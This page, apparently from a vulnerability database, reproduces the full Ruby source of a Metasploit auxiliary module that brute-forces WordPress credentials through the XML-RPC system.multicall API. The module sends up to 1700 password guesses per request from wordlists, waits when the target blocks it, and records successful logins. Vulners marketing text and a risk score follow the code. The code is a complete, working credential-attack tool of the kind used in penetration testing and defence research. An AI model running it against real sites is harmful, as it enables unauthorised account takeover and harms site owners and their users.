Lucene search
+L

Wordpress XML-RPC system.multicall Credential Collector

Wordpress XML-RPC system.multicall Credential Collector module, abuses XMLRPC APIs to find Wordpress credentials. Suitable for Wordpress versions prior to 4.4.1. Drops CHUNKSIZE to 1 for newer versions automatically

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/wordpress_multicall'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Wordpress XML-RPC system.multicall Credential Collector',
      'Description'  => %q{
        This module attempts to find Wordpress credentials by abusing the XMLRPC
        APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
        technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.
      },
      'Author'      =>
        [
          'KingSabri <King.Sabri[at]gmail.com>' ,
          'William <WCoppola[at]Lares.com>',
          'sinn3r'
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
          ['URL', 'http://web.archive.org/web/20250220003829/https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
        ],
      'DefaultOptions' =>
        {
          'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
          'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
        }
    ))

    register_options(
      [
        OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
        OptInt.new('CHUNKSIZE',   [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]),
      ])

    # Not supporting these options, because we are not actually letting the API to process the
    # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
    deregister_options(
      'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_SKIP_EXISTING'
      )
  end

  def passwords
    File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
  end

  def check_options
    if datastore['CHUNKSIZE'] > 1700
      fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
    end
  end

  def setup
    check_options
  end

  def check_setup
    version = wordpress_version
    vprint_good("Found Wordpress version: #{version}")

    if !wordpress_and_online?
      print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
      false
    elsif !wordpress_xmlrpc_enabled?
      print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
      false
    elsif Rex::Version.new(version) >= Rex::Version.new('4.4.1')
      print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
      vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1")
      datastore['CHUNKSIZE'] = 1
      true
    else
      print_status("Target #{peer} is running Wordpress")
      true
    end
  end

  def run_host(ip)
    if check_setup
      print_status("XMLRPC enabled, Hello message received!")
    else
      print_error("Aborting the attack.")
      return
    end

    print_status("#{peer} - Starting XML-RPC login sweep...")

    cred_collection = Metasploit::Framework::CredentialCollection.new(
        blank_passwords: true,
        user_file: datastore['USER_FILE'],
        username: datastore['USERNAME']
    )

    scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
      configure_http_login_scanner(
        passwords: passwords,
        chunk_size: datastore['CHUNKSIZE'],
        block_wait: datastore['BLOCKEDWAIT'],
        base_uri: target_uri.path,
        uri: wordpress_url_xmlrpc,
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        connection_timeout: 5,
        http_username: datastore['HttpUsername'],
        http_password: datastore['HttpPassword']
      )
    )

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
          module_fullname: self.fullname,
          workspace_id: myworkspace_id
      )

      case result.status
        when Metasploit::Model::Login::Status::SUCCESSFUL
          print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
      end
    end

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
7.2High risk
Vulners AI Score7.2
34